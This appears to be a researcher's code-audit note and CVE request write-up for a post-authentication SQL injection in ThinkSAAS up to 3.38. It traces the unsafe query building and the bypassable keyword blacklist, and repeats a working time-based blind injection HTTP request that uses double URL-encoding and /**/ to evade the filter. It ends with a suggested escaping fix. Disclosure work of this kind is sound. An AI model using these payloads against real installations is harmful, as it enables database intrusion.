代码审计笔记

limit参数鸡肋注入

app/article/action/api/list.php#L28

PoC

调试, 可以看到limit参数已经被完整带入了, 只不过由于mysqli_query无法执行多语句查询而显得鸡肋罢了…

app\photo\action\admin\options.php

app\topic\action\admin\options.php

http://thinksaas/index.php?app=topic&ts=do&mg=options&ac=admin

app/topic/action/admin/topic.php title参数注入

PoC

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
Host: thinksaas
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3;  ts_autologin=goh59atl3dsk44o4sws48s80co44ww8
Upgrade-Insecure-Requests: 1

CVE Request info

1. Intro

of this CMS

The repo of ThinksaasS is located at https://github.com/thinksaas/ThinkSAAS , quite a common-used CMS.

Source code of V3.38 could be downloaded at https://www.thinksaas.cn/service/down/ , while passcode of downlaoding is thinksaas9999

of this Vuln

ThinkSAAS before 3.38 has SQL injection via the /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC title parameter, allowing remote attackers to execute arbitrary SQL commands.

2. Walkthrough

Code Review

Risky lines are here =>

Due to unproper conjunction of SQL query sentences (1) and invalid filter (2)

(1) unproper conjunction of SQL query sentences

app/topic/action/admin/topic.php#L42

<?php 
defined('IN_TS') or die('Access Denied.');
switch($ts){
	case "list":
				...
				$title = urldecode($_GET['title']);		#  1' Notice that $title is urldecoded
				...
        if($title){
            $where = "`title` like '%$title%'";		# 2' directly conjuncted to $where 
        }
    
        $arrTopic = $new['topic']->findAll('topic',$where,'addtime desc',null,$lstart.',10');		# 3' findAll() via $where
				...

Let’s see how findAll() works:

thinksaas/tsApp.php#L146

<?php
public function findAll($table, $conditions = null, $sort = null, $fields = null, $limit = null) {
		$where = "";
		$fields = empty ( $fields ) ? "*" : $fields;
		if (is_array ( $conditions )) {
			$join = array ();
			foreach ( $conditions as $key => $condition ) {
				$condition = $this->escape ( $condition );
				$join [] = "`{$key}` = {$condition}";
			}
			$where = "WHERE " . join ( " AND ", $join );
		} else {
			if (null != $conditions)
				$where = "WHERE " . $conditions; #### 1'	directly conjuncted to $where
		}
		if (null != $sort) {
			$sort = "ORDER BY {$sort}";
		} else {
			$sort = "";
		}
		$sql = "SELECT {$fields} FROM " . dbprefix . "{$table} {$where} {$sort}";
		if (null != $limit)  #### 2' conjuncted to $sql
			$sql = $this->db->setlimit ( $sql, $limit );
		return $this->db->fetch_all_assoc ( $sql );  #### 3'	bingo!
	}

Till now, $where is partly controlled by us, once injecting a singal quote ' via $title, while how to closen this query sentence is still unknown, cause the filtering of # and --

However, the function of urldecode() helped us, we can craft a double-URLencoded params, like %25%23 >>> %23 >>> # , ( namely %2523 stands for # ) , as it will BYPASS the filter (#) as follows.

So we have a vuln of SQLi. Let’s see the sanitizing functions.

(2) invalid filter

This CMS have some global functions for sanitizing user-controlled params, in /thinksaas/tsFunction.php#2134 , as its link goes here

<?php
function tsFilter($value) {
	$value = trim($value);
	//定义不允许提交的SQl命令和关键字
	$words = array();
	$words[] = "add ";
	$words[] = "and ";
	$words[] = "count ";
	$words[] = "order ";
	$words[] = "table ";
	$words[] = "by ";
	$words[] = "create ";
	$words[] = "delete ";
	$words[] = "drop ";
	$words[] = "from ";
	$words[] = "grant ";
	$words[] = "insert ";
	$words[] = "select ";
	$words[] = "truncate ";
	$words[] = "update ";
	$words[] = "use ";
	$words[] = "--";
	$words[] = "#";
	$words[] = "group_concat";
	$words[] = "column_name";
	$words[] = "information_schema.columns";
	$words[] = "table_schema";
	$words[] = "union ";
	$words[] = "where ";
	$words[] = "alert";
	$value = strtolower($value);
	//转换为小写
	foreach ($words as $word) {
		if (strstr($value, $word)) {
			$value = str_replace($word, '', $value);
		}
	}

	return $value;
}

Apart from that foreach ($words as $word) { cannot comletely sanitize those evil words, the Blacklists itself is invalid as well. While SELselect ECT 1 could still be used ( as SELselect ECT 1 => SELECT 1 ).

Also, one is abe to use select/**/1 instead of select 1 , in order to bypass the blackword of select .

As above, select/**/1/**/from/**/(sleep(1) could be used.

In summary, we can craft a special payload ( double-URLencoded + SQL injection ) to trigger SQLi vulns, of course we need login first…

PoC & EXPLOIT

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
Host: thinksaas
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3;  ts_autologin=goh59atl3dsk44o4sws48s80co44ww8
Upgrade-Insecure-Requests: 1


# Exploit Title(漏洞标题): Thinksaas Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php

# Google Dork(谷歌搜索关键字): [if applicable] 

# Date(发现漏洞日期): 2020/12/03

# Exploit Author(漏洞发现人): Qianxin, Network Security Department, Product-Safety Team ( Unc1e )

# Vendor Homepage(供应商主页): https://github.com/thinksaas/ThinkSAAS, https://www.thinksaas.cn/

# Software Link(漏洞影响应用下载链接): https://www.thinksaas.cn/service/down/  , downlaod code:thinksaas9999
# Version(影响的版本): Thinksaas<=3.38 (REQUIRED) 

# Tested on(在什么系统进行的测试): Windows PHP 5.6.9nt & Apache 2.4.39

# CVE(CVE编号) : [if applicable]    

# POC(漏洞证明):

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
Host: thinksaas
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3;  ts_autologin=goh59atl3dsk44o4sws48s80co44ww8
Upgrade-Insecure-Requests: 1

3. Mitigations

After URLdecode , param sanitizing may still be neccessary, a possible demo is as follows:

if($title){
            //$where = "`title` like '%$title%'";		
            $where = "`title` like '%". $this->escape($title). "%'";
        }